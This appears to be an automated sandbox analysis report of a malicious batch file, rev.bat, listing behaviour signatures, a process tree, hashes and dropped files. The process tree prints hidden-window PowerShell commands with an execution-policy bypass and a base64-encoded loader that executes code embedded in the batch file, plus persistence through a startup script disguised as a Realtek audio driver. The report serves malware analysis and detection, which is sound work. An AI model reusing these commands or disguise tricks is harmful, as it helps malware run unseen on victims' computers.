Analysis

  • max time kernel
    149s
  • max time network
    122s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 17:55

General

  • Target
    rev.bat
  • Size 8KB
  • Sample260629-wheqmacx8n
  • SHA256 555055ce66ec24c402d7084408351787b40fdd7bcc78d7bc093aa2cb6bfd8e5e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rev.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath powershell.exe -WindowStyle Hidden -ArgumentList '-NoProfile','-WindowStyle','Hidden','-ExecutionPolicy','Bypass','-EncodedCommand','aQBlAHgAIAAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGUAbgB2ADoAQwBMAEkARQBOAFQAXwBCAEEAVAAgAC0AUgBhAHcAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAKAA/AHMAKQBeAC4AKgBfAF8AUABPAFcARQBSAFMASABFAEwATABfAF8AXAByAD8AXABuACcALAAnACcAKQA='"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGUAbgB2ADoAQwBMAEkARQBOAFQAXwBCAEEAVAAgAC0AUgBhAHcAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAKAA/AHMAKQBeAC4AKgBfAF8AUABPAFcARQBSAFMASABFAEwATABfAF8AXAByAD8AXABuACcALAAnACcAKQA=
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5632
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4zhvsads\4zhvsads.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5200
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4BE.tmp" "c:\Users\Admin\AppData\Local\Temp\4zhvsads\CSC869A237846B44E3EA8A984CF3D4FC7A1.TMP"
            5⤵
              PID:4780
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\UserStartupHelper\Realtek Audio Driver.bat"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1452
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath powershell.exe -WindowStyle Hidden -ArgumentList '-NoProfile','-WindowStyle','Hidden','-ExecutionPolicy','Bypass','-EncodedCommand','aQBlAHgAIAAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGUAbgB2ADoAQwBMAEkARQBOAFQAXwBCAEEAVAAgAC0AUgBhAHcAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAKAA/AHMAKQBeAC4AKgBfAF8AUABPAFcARQBSAFMASABFAEwATABfAF8AXAByAD8AXABuACcALAAnACcAKQA='"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGUAbgB2ADoAQwBMAEkARQBOAFQAXwBCAEEAVAAgAC0AUgBhAHcAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAKAA/AHMAKQBeAC4AKgBfAF8AUABPAFcARQBSAFMASABFAEwATABfAF8AXAByAD8AXABuACcALAAnACcAKQA=
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2872
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\d5okvts4\d5okvts4.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2508
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF89.tmp" "c:\Users\Admin\AppData\Local\Temp\d5okvts4\CSC51D3DF9AF766405784BDC23D61DA42F3.TMP"
              5⤵
                PID:4244
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3208
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:468
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2300
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4288

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
            • MD5 SHA1 SHA512 TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 607B
            • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
            • MD5 SHA1 SHA512 TLSH

            4zhvsads.dll

            • Path C:\Users\Admin\AppData\Local\Temp\4zhvsads\4zhvsads.dll
            • Size 5KB
            • SHA256 391e3b47d801506baac04f71f2c31a288c09cad9291d101f297805e87f2ff8df
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RESE4BE.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESE4BE.tmp
            • Size 1KB
            • SHA256 5dd58b57f44b620ced774502867e8a8519b49ddfb67723a4ce0248be1e75c342
            • MD5 SHA1 SHA512 TLSH

            RESFF89.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESFF89.tmp
            • Size 1KB
            • SHA256 5da57e2ef4ef70057bc505d3ae235091964d2cce2d761a1b10035709637e1cc8
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_bicu15nc.su3.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bicu15nc.su3.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            d5okvts4.dll

            • Path C:\Users\Admin\AppData\Local\Temp\d5okvts4\d5okvts4.dll
            • Size 5KB
            • SHA256 dade2075e4183dcf61c30e8a9271c2c7187934b4af12bae91bfe209d3ec1b0f7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            4zhvsads.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4zhvsads\4zhvsads.0.cs
            • Size 2KB
            • SHA256 f08f98a1a2a4d2b35f3fc1a4a88576b7ba3bcc6b3c05d09b701a237aa4abf5e9
            • MD5 SHA1 SHA512 TLSH

            4zhvsads.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4zhvsads\4zhvsads.cmdline
            • Size 369B
            • SHA256 210ccc516c2cb746d54d3f5103985ecb220098a372b642a07fbde0b14ff9dcdd
            • MD5 SHA1 SHA512 TLSH

            CSC869A237846B44E3EA8A984CF3D4FC7A1.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4zhvsads\CSC869A237846B44E3EA8A984CF3D4FC7A1.TMP
            • Size 652B
            • SHA256 848a50995c03062d8c8b6b3eb20720ad2a6584d7f7c10b9d7d22da56595b87c5
            • MD5 SHA1 SHA512 TLSH

            CSC51D3DF9AF766405784BDC23D61DA42F3.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\d5okvts4\CSC51D3DF9AF766405784BDC23D61DA42F3.TMP
            • Size 652B
            • SHA256 c05665a43e4fc69d6993f35f8a5e3b52f62c78f4957ba7330e404d599c5ae52e
            • MD5 SHA1 SHA512 TLSH

            d5okvts4.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\d5okvts4\d5okvts4.cmdline
            • Size 369B
            • SHA256 a6ec28c044777c9ff8a2bcac9bda9462abc00e39dbaa8b05e5dc9c334cd8f234
            • MD5 SHA1 SHA512 TLSH

            memory/2300-75-0x00000290001E0000-0x00000290002E0000-memory.dmp

            memory/2300-90-0x0000029003A30000-0x0000029003A50000-memory.dmp

            memory/2300-93-0x0000029013E90000-0x0000029013F90000-memory.dmp

            memory/2300-111-0x0000029003C90000-0x0000029003CB0000-memory.dmp

            memory/2300-125-0x0000029014210000-0x0000029014230000-memory.dmp

            memory/2872-54-0x0000022FEE260000-0x0000022FEE268000-memory.dmp

            memory/4468-0-0x00007FFAB33EF000-0x00007FFAB33F0000-memory.dmp

            memory/4468-9-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/4468-10-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/4468-7-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/4468-6-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/4468-5-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/4468-4-0x00000202052D0000-0x00000202052F2000-memory.dmp

            memory/4468-3-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-35-0x000001CE7F560000-0x000001CE7F568000-memory.dmp

            memory/5632-22-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-21-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-56-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-57-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-58-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-20-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-18-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-17-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-14-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-13-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-12-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp

            memory/5632-11-0x00007FFAB3260000-0x00007FFAB3C04000-memory.dmp